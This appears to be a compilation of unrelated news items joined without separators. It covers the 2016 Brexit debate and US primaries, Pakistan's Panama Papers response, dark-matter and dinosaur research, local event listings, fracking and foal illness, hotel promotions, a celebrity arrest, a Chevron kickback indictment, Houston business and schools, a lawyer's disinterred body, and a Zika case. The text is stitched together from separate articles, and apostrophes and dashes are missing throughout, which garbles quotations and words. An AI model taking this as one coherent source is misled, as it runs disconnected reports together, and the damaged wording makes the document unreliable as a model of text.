Opponents of the EU, many of whom laud the US alliance, have said that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration and that Britain, if freed, could prosper as a sole trader.

Out campaigners have said the United States would never agree to dilute its own national sovereignty in the way the EU requires of its member states.

New York-born Boris Johnson, the London mayor who heads the Out campaign, said he did not want to be lectured by Americans about EU membership and called the Presidents stance downright hypocritical.

For the United States to tell us in the UK that we must surrender control of so much of our democracy  it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do, he wrote in the Sun newspaper.

Nigel Farage, another prominent opponent of EU membership, told Reuters that President Obama should butt out.

This is an unwelcome interference from the most anti-British American president there has ever been. Mercifully, he wont be in office for much longer.
Republican presidential frontrunner Donald Trump has said that he prefers to run against Democratic leader Hillary Clinton in the elections and not against Vermont senator Bernie Sanders.

Now Bernies over, I guess. Its over for Bernie. I dont want to run against Bernie, Trump told his supporters in Pennsylvania, where the Republican presidential primary is scheduled to be held on April 26.

I want to run against crooked Hillary Clinton. We are going to beat her so badly. Is there anyone more crooked than this woman? Trump said, as he appeared to be confident of bagging the partys presidential nomination despite being far from the required 1237 delegates to be nominated.

We have all of the mistakes Hillary made as secretary of state. We have a mess. The war in Iraq has been devastating. We have probably spent $4 trillion in the Middle East, the Republican frontrunner said in his speech.

Meanwhile, the former Republican presidential candidate and speaker of the House of Representatives, Newt Gingrich, said that Trump is a presumptive nominee and urged party leaders to unite behind him.

The Republican National Committee (RNC) leadership continued its meeting in Florida over the various laws related to the convention.

Trump did not attend the meeting but was represented by his close aides. The other two presidential candidates, Ted Cruz and John Kasich, appeared before the RNC.

At his Pennsylvania rally last evening, Trump ignored his aides advice who asked him to wait until the large crowd comes inside the venue.

So I am supposed to wait a half an hour because there are thousands of people outside trying to get in. I cant do that to you, so we are going to come on right now, he said offstage.

Ive never done that before. Ive never introduced myself. They didnt quite say it right the first time. We have thousands of people outside. Theyre going to pour in, theyre filling up the floor. Lets start a little bit early. To hell with this, said Trump, who has 845 delegates to his kitty.

His nearest primary rival, senator Ted Cruz from Texas, has 559 and the Ohio governor ,John Kasich, 148.

The next round of primary elections are scheduled in the states of Maryland, Pennsylvania, Connecticut, Delaware and Rhode Island.

Trump needs to win big in these states to ensure he gets the necessary 1237 votes to become the partys nominee before the Cleveland convention in July.
Pakistan Prime Minister Nawaz Sharif said on Friday he would quit if a judicial commission that will investigate revelations in the Panama Papers leaks finds evidence of wrongdoing by him or members of his family.

In a televised address to the nation, he said he will ask the Chief Justice to head a commission to investigate allegations against his family and others in the Panama Papers.

I challenge those accusing me of wrongdoing to prove that before the commission, and if anything is proved, I will step down without any delay Sharif said.

He attacked his detractors and said he was aware of conspiracies being hatched against his government. He said he would fight the allegations levelled against his family.

Making Panama (Papers) leaks as the basis, some elements are hurling allegations at me, he said.

I hereby announce I will write to the Chief Justice, asking him to lead the judicial commission which will investigate revelations made in the Panama Papers, he said. I will accept the recommendations of this commission. However, if the allegations are not proved, those levelling them will have to apologise before the nation and will be held answerable.

Earlier, the Sharif family said none of the corporations mentioned in Panama Papers were owned or run by the premier. It also highlighted that the corporations owned by Sharifs sons Hussain and Hassan Nawaz are legal and that the leaks did not have evidence of wrongdoing by the family.

Around 220 Pakistanis have been named in the Panama Papers, including Sharifs daughter Maryam, who has been tipped to be his political successor, and Hussain and Hassan. The leaks showed they owned London real estate through offshore companies.

Pakistan Peoples Party chairperson Bilawal Bhutto said he was disappointed Sharifs speech and demanded that the premier should resign.
US President Barack Obama flew into London to advise Britons not to leave the European Union, but received a prompt retort when the Brexit camp used his own words  Yes we can  to say the country would be better off outside the 28-nation grouping.

Obama, who arrived here late on Thursday for a three-day visit, wrote a column in The Daily Telegraph that made the case for Britain to remain in the EU, including the claim that it would be able to counter terrorism better by staying in.

Obama wrote: ...I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the US. The tens of thousands of Americans who rest in Europes cemeteries are a silent testament to just how intertwined our prosperity and security truly are.

And the path you choose now will echo in the prospects of todays generation of Americans as well. As citizens of the United Kingdom take stock of their relationship with the EU, you should be proud that the EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery.

The European Union doesnt moderate British influence  it magnifies it. A strong Europe is not a threat to Britains global leadership; it enhances Britains global leadership, he wrote.

However, his advice was immediately countered by London mayor Boris Johnson, who repeated the charge that it was hypocritical of Obama to lecture to the British when the US would never countenance handing over sovereign powers to a grouping like the EU.

Johnson said: Its perverse that were being urged by the US to embroil ourselves ever so deeply in a system where our laws, 60% of them, are now emanating from the EU. Americas a proud democracy built on principles of liberty.

He added: I think what youve got is a situation in which the (David Cameron) government is ringing round every other friendly country and saying, were in a spot, can you say something positive about our membership in the European Union?

During Prime Minister Narendra Modis visit to London last November, he highlighted the benefits to India of Britains presence in the EU, and said. As far as India is concerned, if there is an entry point for us to the EU that is the UK, that is Great Britain.

Several foreign leaders and international organisations have appealed to the public to vote to remain in the grouping during the June 23 referendum on Britains membership of the EU.

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It turns out that dark matter doesn't actually contain certain axion-like particles. As the hunt for dark matter continues, scientists have ruled out some of these particles as part of dark matter's contents.

Physicists are continuing the struggle to identify more than 80 percent of the matter in the universe, and part of this struggle is finding dark matter. In the past, researchers believed it was possible that dark matter could be made up of extremely light particles that weigh less than a billionth of the mass of the electron. These particles are often called axion-like particles (ALPs). ALPs are hard to find, however, which means that researchers haven't been able to test the different types of ALPs that could be part of dark matter.

In this latest study, the researchers used data from NASA's gamma-ray telescope on the Fermi satellite. This allowed them to look at light from the central galaxy of the Perseu galaxy cluster as they searched for ALPs.

It's actually not possible to detect ALPs directly. However, there is a chance that they transform into ordinary light, and vice versa, when they travel through a magnetic field. In this case, the researchers used the very bright light source of the Perseus galaxy cluster to look for these transformations and detect ALPs.

The observations were sensitive enough to exclude certain types of ALPs that couldn't constitute dark matter. In the end, the researchers found no traces of ALPs that could establish dark matter.

"The ALPs we have been able to exclude could explain a certain amount of dark matter," said Manuel Meyer of Stockholm University, one of the researchers involved in the new study. "What is particularly interesting is that with our analysis we are reaching a sensitivity that we thought could only be obtained with dedicated future experiments on Earth."

The researchers currently plan to continue the search for ALPs with the Fermi telescope. With that said, the new findings do help rule out some particles while also giving scientists a better understanding of ALPs. In addition, they may help future searches for dark matter.

The study was published in the April 22 issue of the journal Physical Review Letters.

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
Although the weeks following human birth are critical for development and survival, a new study examines fossils from a baby titanosaur and suggests a harsh, lonely childhood.

A team of Macalester College researchers examined an infant of the titanosaur species Rapetosaurus krausei, some of the largest animals even known to walk the Earth, and revealed that the vents that followed birth are far from the close familial bonding often seen in humans.

"For sauropods, it doesn't appear that they were very good parents - at least after their babies hatched," said Kristina Rogers, a researcher from Macalester College who led the study.

When Rapetosaurus krausei hatched, its size was very small compared to its parents. Using the hatching line - the shift in bone growth that indicates when a baby left its egg - Rogers and her team were able to determine that the 70-million-year-old specimen weighed just 7.5 pounds at birth, which is lighter than most domestic cats.

The baby died approximately 39 to 77 days following birth, likely from starvation, although at the time of death it had still gained around 80 pounds. Although nothing compared to the adult weights, which typically range in the thousands, it still reveals an impressive growth in such a short period of time.

Even more impressive are the bone sizes - although babies were tiny in size, their bones were proportional to adult bones, something common in animals that are left to fend for themselves shortly after birth. Contrary to cats, dogs and humans - where babies are largely helpless - R krausei babies are born with bodies that are designed to let them fight, flee and find food all on their own.

Although it sounds harsh, having a stimulated early development is actually a good evolutionary strategy.

"Precocial young can avoid predation on their own, and there is a much smaller chance of the entire brood succumbing to predation at once," Rogers said.

Despite this benefit for the brood as a whole, things didn't work out for the baby in the current study, which died of starvation, most likely from the severe drought that occurred during the baby's time period in the Madagascar region where the bones were found

The findings were published in the April 22 issue of Science.

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
News, events, history, and other mid-week tidbits.

Tuesday, October 25, 4:30  7 p.m.

Orr Area EMS Open House

Brats and burgers will be served. Event includes a new ambulance tour and blood pressure screenings. For more info: 218-780-3798.

Orr Fire Hall

4540 Lake St., Orr

Tuesday, October 25, 12  6 p.m.

Essentia Health Job Fair

Talent recruiters and department managers will be on-site at Essentia Health-Virginia. Candidates from all backgrounds are encouraged to attendnurses, nursing and clinical assistants, surgery technicians, radiology technicians, respiratory therapists, human resource professionals, and those interested in environmental services or nutrition services. Essentia staff will greet candidates, conduct an initial screening and filter them to appropriate hiring managers for interviews. Select candidates will be verbally offered a position before leaving. Candidates are asked to bring a resume, but its not required. Attire is business casual. For more info: www.essentiacareers.org.

901 9th St. N., Virginia
Fracking (hydraulic fracturing) is a controversial practice used to access natural gas wells. The process involves drilling down into the earth and injecting pressurized liquidwater, sand and various chemicalsto fracture the rock formations and allow the gas to flow.

The practice is controversial because of the high risks of water contamination, air pollution and even increased seismic activity. And on one Pennsylvania farm, it seems that it may have led to an epidemic of serious illness in newborn foals.



Video by Video by Ithaca Journal

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Allerage Farm, a Standardbred breeding farm in Pennsylvania near the New York state line, is owned by Jeff Gural, a real estate magnate and owner of several harness racing tracks. Over the last three years, foals born on his farm have had dysphagia, or difficulty swallowing. The condition is life-threatening as milk enters the foals lungs when they nurse instead of going to their stomach.

When symptoms arise, the foals are taken to Cornell University where veterinarians have been able to save 17 of the horses. The veterinary team there identified a neighboring fracking operation by Chesapeake Appalachia LLC as the likely cause of the ongoing illness. And it does appear that groundwater contamination is to blame, but an investigation by the Pennsylvania Department of Environmental Protection failed to pinpoint the gas well as the source of the contamination.

Under the law, fracking operations are allowed to withhold information about the specific chemicals they inject into the ground, which makes it nearly impossible to prove whether or not the gas wells are to blame when environmental problems occur.

That they dont have to tell you what chemicals they are using is ridiculous, farm owner Gural told the Ithaca Journal. I havent met a politician yet who thinks thats a good idea. Yet it shows you what kind of lobby they [the gas and oil industry] have.

Gural also owns a second location of his Allerage Farm breeding operation in Eastern New York, near the Connecticut state line. His mares sometimes move from one location to the other, but all of the foals afflicted with dysphagia were born to mares who drank water at the Pennsylvania location while pregnant.

Nevertheless, Gural is a public supporter of the fracking industry, crediting it as a job creator and a force that has lowered the price of gas for consumers. Hes responding to the dysphagia epidemic on his farm by installing an extensive water filtration system at his Pennsylvania facility, and results are positive. Only two of the six horses born so far this year were sick compared with 11 out of 12 of last years foals. But Gural wont know for sure that the filtration system is enough until next years foal crop arrives. In the meantime, the well-resourced farm owner pays $5,000 to $10,000 to treat each sick foal.
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What began with the famed Warwick New York hotel in 1926 has grown to encompass an entire collection of hotels and resorts  all worthy of the same iconic status. Each locale across the globe offers a harmonious hotel experience echoing the culture, history and charm of the destination at its doorstep. From Europe to the United States to the Middle East to Asia, Africa and beyond, Warwick Hotels and Resorts strives to place guests precisely where needed to live life to its fullest. The result is a hotel stay capable of being measured only in personal adventures and authentic experiences  just as it should be.
Rosewood Washington, D.C.

Rosewood Washington, D.C. Debuts

Rosewood Hotels & Resorts has been appointed by CTF Georgetown Hotel LLC., new owners of Capella Washington, D.C., to take over the management of the prestigious Georgetown hotel. Effective April 21, 2016 the hotel, formerly owned by Castleton Hotel Partners I, LLC., has been renamed and is now known as Rosewood Washington, D.C. Rosewood and Capella Hotels are working closely together to ensure a smooth transition for guests, associates and partners.

The property is situated alongside the C&O Canal in the heart of Georgetown, one of D.C.'s most historic, renowned and picturesque neighborhoods. The prime address is convenient for those traveling on either leisure or business with many of the city's cultural attractions, high-end stores and vibrant restaurants easily accessible from the hotel.

Rosewood Washington, D.C. offers 49 guestrooms and suites featuring contemporary art and comfortable furnishings as well as the state-of-the-art technology and amenities required by today's travelers. The hotel currently has a number of dining options including seasonal dining at the Grill Room which overlooks the C&O canal. The adjoining Rye Bar has a cozy atmosphere and serves one of the city's finest selections of rare rye whiskeys and craft cocktails. A private rooftop lounge features an indoor/outdoor pool and panoramic views over America's capital city including the iconic Washington Monument.

"Rosewood Washington, D.C. is an exciting addition to Rosewood's collection of properties and strengthens our presence in North America," says Sonia Cheng, chief executive officer of Rosewood Hotel Group. "The hotel draws on the capital's rich culture and history to express Rosewood's trademark philosophy of 'A Sense of Place' in innovative and memorable ways."

Rosewood Hotels & Resorts manages 19 one-of-a-kind luxury properties in 11 countries, with 16 new hotels under development. Each Rosewood hotel embraces the brand's A Sense of Place philosophy to reflect the individual location's history, culture and sensibilities. The Rosewood collection includes some of the world's most legendary hotels and resorts, including The Carlyle, A Rosewood Hotel in New York, Rosewood Mansion on Turtle Creek in Dallas and Hotel de Crillon, A Rosewood Hotel in Paris, as well as new classics such as Rosewood Beijing. Rosewood Hotels & Resorts targets to double its number of hotels in operation by 2020.


Islams holiest city, Mecca is the birthplace of the Prophet Muhammad. Its the beating heart of Saudi Arabias Makkah Province and is dotted with sacred sites. Every year, millions of Muslims descend on the city for the annual Hajj pilgrimage. They make a beeline for the Grand Mosque, which encircles the Kaaba shrine.

Things to Do

Mecca is home to a string of religious sites, with the Grand Mosque dominating the city. It steps up as the largest mosque in the world and was built to enclose the sacred Kaaba building and the Black Stone relic.

After paying your respects, visit the Museum of the Prophet, a privately owned space dedicated to the study of the Quran. If you want to stretch your legs, Jabal al-Nour mountain is an easy climb and offers sweeping views of the city.

Khalid Ibn Al Waleed is one of Meccas busiest streets, with most pilgrims passing through on their way to the Grand Mosque. Vendors sell everything from prayer carpets and perfume to street food and fresh juice.

Getting Around

Mecca has no major airport, which means most travellers fly into Jeddah then travel onwards by car or bus. Public buses run throughout the city, with plenty of taxis also cruising the streets. During Hajj, walking is often the quickest way to get from A to B as Meccas streets can get congested.
Photos as well as footage of Kodak Black (real name Dieuson Octave) being handcuffed and put in the back of a police SUV surfaced yesterday, though the charges against him were unknown. It has now been confirmed that the South Florida rapper was arrested yesterday in his native Broward County for possession of weapons by a convicted felon as well as possession of cannabis. He also faces additional charges of fleeing a Law Enforcement Officer at a high speed as well as disobeying traffic devices.

Speaking to Miami news outlet WPLG Local, police reported that they originally spotted Kodak involved in a suspected drug deal with two other men. When police approached, Kodak and another man, Wisdom Williams, were able to drive away from the scene. A high-speed pursuit ensued, during which Kodak reportedly sped through multiple red lights.

The chase ended when Kodak parked his car at 2017 Jackson St. in the town of Hollywood, where police saw him discarding a firearm into a nearby dumpster.

Police reported that Kodak and Williams were both uncooperative during the arrest and that their vehicle smelled strongly of marijuana. The amount of cannabis police were able to find is unknown except for that it was less than 20 grams. When police searched the dumpster, they discovered a loaded Glock 23 pistol as well as a 30-round magazine round of ammunition.

As Kodak had been previously convicted on a kidnapping charge, he has been charged as a felon for possessing a weapon.

You can see Kodaks mug shot as well as details of his arrest here.

Kodak Black
A couple weeks ago, Travi$ Scott previewed a Young Thug-assisted record at one of his shows, which quickly caught the attention of many fans and had the internet buzzing. While the record still hasnt arrived unfortunately, more new footage has surfaced in the meantime giving us a much better idea of what the record sounds like.

While DJing at Paris Nightclub in Chicago a couple days ago, La Flame decided to debut the full song for the club which features Young Thug AND Quavo presumably called Pick Up The Phone, or at least thats what the hook & early reports are saying.

No word yet as for whos responsible for the beat, but XXL reports that Cashmere Cat may have his hands involved. Nevertheless, the song sounds like a hit banger on the way, and has us anticipating Travis upcoming album even more now.

Peep the video below and let us know what you think! If you want more upcoming La Flame in your life, check out what might by the intro to his upcoming album right here.

[Via]
The music icon died yesterday aged 57

Following news of Prince's death, Mumford and Sons covered 'Nothing Compares 2 U' at their concert in St Paul, Minnesota. Watch the footage beneath.

The 1975, meanwhile, honoured Prince at their gig in Santa Barbara, California by projecting an image of the late star as a backdrop during their performance. Frontman Matty Healy later uploaded a photo of the tribute.

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A federal grand jury in Houston indicted two men on charges of international money laundering and wire fraud in conjunction with an eight-year scheme stretching from Houston to London to Cameroon to the Cayman Islands, U.S. Attorney Kenneth Magidson said Thursday.

Federal prosecutors allege that oil traders, consultants and brokers working for Chevron Corp. funneled $4 million in kickbacks to offshore bank accounts they controlled.

Robert Stanley Corbitt, 71, who worked as a consultant on some Chevron trades in Houston, was arrested Wednesday and released after posting a $10,000 bond, according to the U.S. Attorney's Office. Charles Medlin, the lawyer representing Corbitt, could not be reached for comment.

Shawn Thomas Potts, 41, a former Chevron oil trader based in New Jersey and later in London, appeared before U.S. Magistrate Judge Nancy Johnson on Thursday. He was released on a $10,000 unsecured bond, said his lawyer. Chris Flood of Houston. Several other alleged co-conspirators were not identified by name.

Flood said that Potts is innocent, noting that his client voluntarily returned from London at the request of prosecutors four years ago and surrendered his passport.

Potts has wanted to explain his trading activity to prosecutors, but instead they built their case on information from people seeking to reduce prison sentences, Flood said.

Potts suspects that two of the unnamed businessmen in the indictment traded information in exchange for release from prison on unrelated charges, Flood added.

Angela Dodge, spokeswoman for the U.S. Attorney's Office, declined comment.

The indictment, filed April 14 and unsealed Wednesday, lists several participants in the alleged kickback and money laundering arrangement, but identified them only by numbers and letters. "Businessman 1" and "Businessman 2," for example, live in Houston and are partners of "Partnership A," according to the indictment.

There are several reasons federal prosecutors may not identify individuals in a criminal complaint, said Philip Hilder, a white-collar crime defense attorney with Hilder & Associates in Houston.

The government might be protecting their identity because they are cooperating with the prosecution, or they may be criminal targets, said Hilder, a former prosecutor who is not involved in this case.

The indictment alleges that Potts directed Chevron oil trades to entities willing to pay kick-backs.

Corbitt, who worked as a consultant on the Chevron trades, allegedly received the kickbacks and funneled the money to his Cayman Islands bank account, according to the U.S. Attorney.

The trades involved Chevron oil purchases from Belarus, Russia, and Cameroon in West Africa.

Potts, Corbitt and their co-conspirators allegedly hid the deals by using foreign entities and submitting false invoices to hide the transactions from Chevron and make them look legitimate, according to the indictment.

The indictment also alleges the group filed false tax returns that omitted the kickback income.

Chevron was a victim of the scheme, prosecutors said.

Erika Conner, a Chevron spokeswoman, said the California-based company cooperated with law enforcement agencies investigating the case.
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Houston's weakest office submarkets, those areas on the west and north sides of town that have seen sublease space pile up, will continue to slide through 2017. But as they do, markets with higher occupancies and very little sublease space may start to lose steam as well.

That's because companies that occupy space in the fullest buildings with the strongest rents may be lured to markets with a lot more space to spare.

"There are going to be such great economic deals," said Jon Silberman, managing partner with NAI Partners in Houston. In better performing markets like Uptown and Greenway Plaza, "landlords will have to be more competitive."

Available office space across the Houston area, including sublease space, is at a 16-year high of nearly 20 percent, NAI's first-quarter data show. That's 11 percent over what it was a year ago.

Tenants signing new leases are getting months of free rent, free parking, increased build-out allowances and even drops in rental rates, the company said.

Sublease space has grown to 9.3 million square feet, three times its historical average. The volume has not yet leveled off.

"The question is how long is this all going to take to wash out? It's not going to be a 12-, 24-month kind of fix. There's no way," Silberman said. "Particularly on the west side, it's going to be a 3- to 5-year problem over there."

The longer that it takes for the office market to recover, the more risk that landlords face.

While the market so far hasn't seen a lot of distress, expiring subleases pose a potentially large problem.

"When there's a 100,000-square-foot (sublease) block in a building that's 200,000 square feet and the other 50 percent is leased, when the sublease space rolls that's 50 percent of the income that goes away overnight," said NAI partner Dan Boyles Jr.

HOK's new workspace

For years, the local offices of architecture firm HOK were on two sprawling floors of the Williams Tower in the Galleria area.

The footprint was so large that there were few impromptu employee interactions and collaborative moments that office designers say are necessary for a productive work environment.

"We never really collaborated unless it was a scheduled meeting," Ron Bateman, HOK vice president, said on a recent tour of the company's new offices in the Phoenix Tower at 3200 Southwest Freeway.

The space begins on the ninth floor, which is adjacent to the roof of the building's parking garage, which about 10 years ago was converted into a green space with a nine-hole putting green.

Between 150 and 175 people work in HOK's 35,000-square-foot space, which has room for 190 employees. No one has a private office. Everyone works out in the open.

In the middle of the first floor, a staircase leads to a loft with additional workspaces, as well as conference rooms and a dining area.

There's also a "model studio" with a 3-D and laser printers for creating architectural models.

"It's helped us win a lot of competitions," Bateman said.

Med Center property for sale

This map of the Texas Medical Center and surrounding area shows a 21-acre property owned by Shell Oil Co. that's now on the market and the site of the proposed TMC3 Innovation Campus. A version of the map that ran with last Sunday's column had the TMC3 campus in the wrong location.
The Houston school district's interim superintendent on Thursday rescinded his proposal to reduce funding for gifted students amid concerns from parents and board members.

At the same time, Ken Huewitt proposed bolstering the budgets of schools with significant concentrations of low-income students, using $21 million from federal funds. Schools with the highest percentage of poor children would get the most extra money - an attempt to address the academic challenges at what Huewitt called "hyper-poverty" campuses.

Huewitt's plan calls for revamping how campuses are funded at the same time as the Houston Independent School District faces an estimated $107 million budget shortfall in the coming year. The financial woes stem from the district expecting, for the first time, to have to send tens of millions of dollars back to the state because it is considered too property wealthy.

"This is about funding the needs of our kids," Glenn Reed, general manager of budgeting for the school district, said after the board's budget workshop Thursday.

To balance the budget, Huewitt has proposed several cuts, including ending the $10 million bonus program for teachers and other school staff, and cutting $11 million in contracts with outside vendors.

He also would eliminate the $19 million that went to help a few dozen low-performing schools, as part of former Superintendent Terry Grier's "Apollo" reform program.

The move represents a philosophical shift, spreading extra money to disadvantaged students across the district.

The new plan would distribute federal funds designated for poor children to schools on a steeper sliding scale. For example, a school with 35 percent of its students deemed low income would receive $369 per pupil, up from $269. A school with a 95 percent low-income rate would receive $450 per pupil, up from $300.

Huewitt's earlier proposal in February would have cut in half the amount that schools received for gifted students, reducing the per-pupil amount to $211.

Trustee Jolanda Jones expressed support for the increased focus on the low-income students. More than 80 percent of HISD's students are economically disadvantaged.

"We have figured out ways to spend more money on our brightest kids, but I don't think you judge a district by how well our smartest kids do," Jones said. "You judge a district by how well our most struggling kids do."

About 20 of HISD's 280 schools would not qualify for the funding because their low-income population is below 35 percent.

All schools would see a reduction in their standard funding under Huewitt's proposal, but the extra dollars for low-income students should mitigate the effect.

The school board members on Thursday generally expressed support for the plan. Trustees are likely to vote on the school funding amounts in the coming weeks but will not vote on the overall budget until June.

Huewitt has not detailed how many, if any, jobs would be lost due to budget cuts. He has said he expects positions to be cut, but some are vacant. He told the school board Thursday that he was not recommending the deep cuts to the facilities department that were discussed in March. At that time, district officials talked about eliminating 250 positions in the facilities department.

Huewitt's proposal, however, calls for cutting $3 million from supplies and $13 million from other central-office expenses. Payroll costs would be cut by $50 million, but about half of that amount represents eliminating the bonus program and overtime pay for staff at the "Apollo" reform schools, Reed said.
In life, John O'Quinn was admired and detested with pretty much equal gusto, and few who knew him even slightly chose to straddle that fence. But in death, the towering Houston trial lawyer might have expected a retreat from the squinting glare of controversy, a welcome surcease of the disputes that seemed to follow him like a shadow.

Most of O'Quinn's 68 years had brought as much struggle as joy. Shouldn't the great equalizer, if nothing else, carry the promise of peace?

No such luck.

The turmoil that dogged so many of O'Quinn's days on earth has trailed him into the grave - literally.

A recent lawsuit made public what a handful of people already knew. In November 2014, O'Quinn's first cousin, Carol O'Quinn, decided to remove his body from its resting place near the banks of the Blanco River to a nondescript church cemetery in tiny Pollock, La., trading a place he adored for proximity to the grave of a father he did not.

The move was made without the permission, or even the knowledge, of the woman who spent more than a decade as his constant companion until his 2009 death in an auto accident. Darla Lexington had planned to be placed next to O'Quinn, who had no children, on the Hill Country ranch where they spent many happy days. She arranged for Houston funeral home Geo. H. Lewis & Sons to take his body there and place it in a mausoleum built for two. She had her name engraved on the left chamber.

More for you Fight ensues over body of famed Houston lawyer

"Nothing about this has made any sense," said Lee Thweatt, Lexington's attorney. "I have been around long enough to know that when I see something that is crazy on its face, the list of motives is going to be very short. It's either spite or arrogance or money. I don't know which of the three it is. But I am going to find out."

Following instructions

Speaking off the record, those familiar with the personalities involved point to long-standing hostility between Carol O'Quinn and Lexington. The lawsuit, which names only Service Corporation International (the corporate parent of Geo. H. Lewis & Sons) as defendant, does not cite possible intent behind the move, though the language of the complaint hints at a dark motive.

The body's removal was "so outrageous in character and so extreme in degree as to go beyond all possible bounds of decency," the lawsuit states. "It is difficult to conceive of anything more utterly intolerable than wrongfully disinterring a body and taking it to Louisiana without the permission of a surviving spouse."

SCI said it was only following the instructions of what appeared to be O'Quinn's next of kin, and that the paperwork looked to be in order. Carol O'Quinn told the Chronicle that her elderly mother, his aunt, decided to move his body because the grave site was too hard for her to get to. Carol O'Quinn signed the necessary paperwork, and employees of the funeral home opened the mausoleum, removed the casket, placed it in a hearse and transported it back to the state he left as a child.

As for Lexington's wishes - and her late cousin's as well - she gave them no consideration.

"She was never married to John," Carol O'Quinn said of Lexington. "She had no claims to John."

The John M. O'Quinn Foundation, which technically owned the small piece of property where his remains were placed, went along with the move without telling anyone, even though doing so ran counter to his desire. The foundation declined to comment on the matter.

Lexington, of course, was outraged. She still claims to be O'Quinn's first next-of-kin as his common-law widow, even if various legal documents listed the two of them as single just a year before his death. Her lawsuit claims that only she had the authority to deal with O'Quinn's remains, just as it fell on her to sign the death certificate and make all the funeral arrangements. There is no disputing that O'Quinn himself wanted his remains to be on the ranch. He had to get state approval to establish a small personal cemetery so he could be legally buried there.

Although the matter of Lexington's assertion of marriage remains unsettled - her fight for a portion of the sizable estate was resolved in 2012 before it went to trial - there is no doubt about the significance of their relationship. Whether she was his wife in any legal sense, she was far more than Carol O'Quinn's dismissive description of her as his "live-in mistress."

They had exchanged rings in an informal commitment ceremony at their ranch near Wimberley in 2008 and were seen as a couple by all of their friends and at all social occasions. Their engagement actually had been announced seven years earlier at a Houston Grand Opera gala and was reported in the Chronicle. O'Quinn placed her in charge of the company that oversaw his expansive and ever-growing classic car collection.

Settlement over estate

Though Lexington may have been disappointed that a formal marriage never took place, she likely never expected to be treated as less than a spouse after his death or to be excluded from discussions about the estate. She was unaware of the haphazard nature, or complete lack, of O'Quinn's planning. For example, no specific provisions were made for the beloved car collection or the Houston museum that was planned to display it.

More shocking yet was O'Quinn's failure to reserve some portion of his money for Lexington, beyond a $1.8 million life insurance policy. With the exception of his formal philanthropy, he had an inability to part with money that friends said bordered on the pathologic. The many lawyers who had sent cases his way but never got their share of legal fees privately noted that Lexington was simply the last of many people who had trusted him to their ultimate dismay.

Both the executor of O'Quinn's will, Gerald Treece, and the man who headed the John O'Quinn Foundation, Robert C. Wilson III, were friends of the couple who found themselves awkwardly at odds with the woman who had helped O'Quinn find contentment in his later years, as he finally overcame alcoholism only to suffer from the ravages of diabetes.

Treece acknowledged in 2009 that the oversight did not seem fair. O'Quinn's paid obituary cited Lexington as "the love of his life." O'Quinn, married twice before, had said the years spent with her were the best of his life. But Treece was obligated to follow the stated intent of the will, which left O'Quinn's estate to the foundation. So Lexington sued and things got ugly.

Wary of a trial that might produce a jury sympathetic to Lexington, who had endured O'Quinn's wild moods and difficult behavior, Treece's lawyers reached a settlement with her. The terms were not disclosed. O'Quinn's ranch was sold to a family from South Texas, but 40 acres he owned in an adjacent tract were set aside for Lexington. A tiny piece of land between them, less than an acre, also was carved out for the private "cemetery." There was no discussion of O'Quinn's remains being moved to Louisiana, although his relatives threatened at one point to petition the probate court for permission to do so.

First and foremost, Lexington's lawsuit asks for the body's return to Texas, the state "where he was raised and educated, where he undertook his extraordinary life's work as a lawyer, where he died, where his legacy endures "

Like the man himself, that legacy has multiple layers.

Of all the legion of trial lawyers who placed Houston at the heart of an emerging mass plaintiff industry, none was more consequential than O'Quinn, who played the role with relish and took delight in dueling with highly paid lawyers for big corporate defendants. Like so many who got their law degrees from the University of Houston in the early days of its law school, he came from a working-class background and often arrived at class with dirt under his nails.

O'Quinn's legal brilliance was recognized long before he received his law degree, and he found himself working at a silk-stocking local defense firm as soon as he passed the bar exam. But his roots and loyalty were elsewhere, and his instincts decidedly pugilistic.

From first breath to last, O'Quinn knew life mostly in terms of conflict. That he would become one of the nation's most successful plaintiff lawyers was, perhaps, predictable. Where else but a courtroom could a guy from the wrong side of the tracks definitively prove his gladiatorial, and intellectual, superiority? In his binary world, you won or you died. For O'Quinn, there was no satisfaction in the good fight, no nobility in defeat.

Enduring legacy

In like measure a charming advocate and brutal antagonist, O'Quinn fought anyone and everyone, starting with himself and the inner demons that over time led him to alcoholism, workaholism and obsessive behavior. He fought for acceptance and to defy the class expectations of a garage owner's son, as well as the brutality of an alcoholic father who often treated him poorly. He fought big corporations, various and former law partners, the State Bar of Texas, and even some of his former clients. Everyone, no matter how close, might at some point become an enemy to be vanquished. Just ask his two ex-wives.

As memory fades and news accounts of those old battles yellow, O'Quinn's enduring legacy comes via the foundation that bears his name, which donates substantial sums to dozens of institutions and charities - $106 million since its inception 30 years ago. Some of the bigger grantees have dutifully placed his name near the entrance to various places. There's a John O'Quinn Law Library and a John O'Quinn Field at the University of Houston, a John O'Quinn Medical Tower at St. Luke's, a John O'Quinn Campus at the Children's Assessment Center, a John O'Quinn Atrium at M.D. Anderson Cancer Center, a John M. O'Quinn Foundation Campus at the Menninger Clinic, and so on.

For what it's worth, his name also remains on the front of the marble mausoleum high above the Blanco River. But the tomb is now empty, a permanent reminder that even eternal rest is no sure thing. Unless Lexington succeeds with her lawsuit, a final and enduring personal connection to the state that made him - and the woman who made him better - won't exist.

Cruel or not, he will be right back where he started, a few yards away from the father who feared he'd never amount to much.
A pregnant Fort Bend County woman who traveled from El Salvador earlier this year has tested positive for the Zika virus, Legacy Community Health announced.

It is believed to be the first confirmed case of the virus in an expectant mother in the Houston area.

It's not clear whether she contracted the virus from a mosquito bite in El Salvador or through sexual contact with a male partner, Legacy officials said Thursday. The woman's case came to light when she sought medical care at a Legacy health clinic in Fort Bend County.

"We are closely monitoring the patient through her pregnancy and hope for the best for mom and baby," Dr. Natalie Vanek, a Legacy infectious disease specialist, said in a statement.

The clinic is echoing messages from public health authorities urging pregnant women to avoid travel to Central or South American countries where the mosquito-borne virus is circulating. This pregnant patient is the third case of Zika in Fort Bend County. There have been 12 confirmed cases in Houston and Harris County and at least 31 statewide.

'Focused on prevention'

Public health officials stressed that the latest case changes nothing about the risk to Houston residents.

"We are focused on prevention, not panic," Vanek said.

Harris County public health officials are asking residents to get rid of standing water around their homes that can provide breeding sites for mosquitoes, particularly after the heavy rains and flooding this week.

The Centers for Disease Control and Prevention confirmed last week a Zika infection can cause microcephaly, a birth defect in which babies are born with underdeveloped brains and heads.

On Thursday, the agency released new data on the testing of people suspected of having a Zika infection.

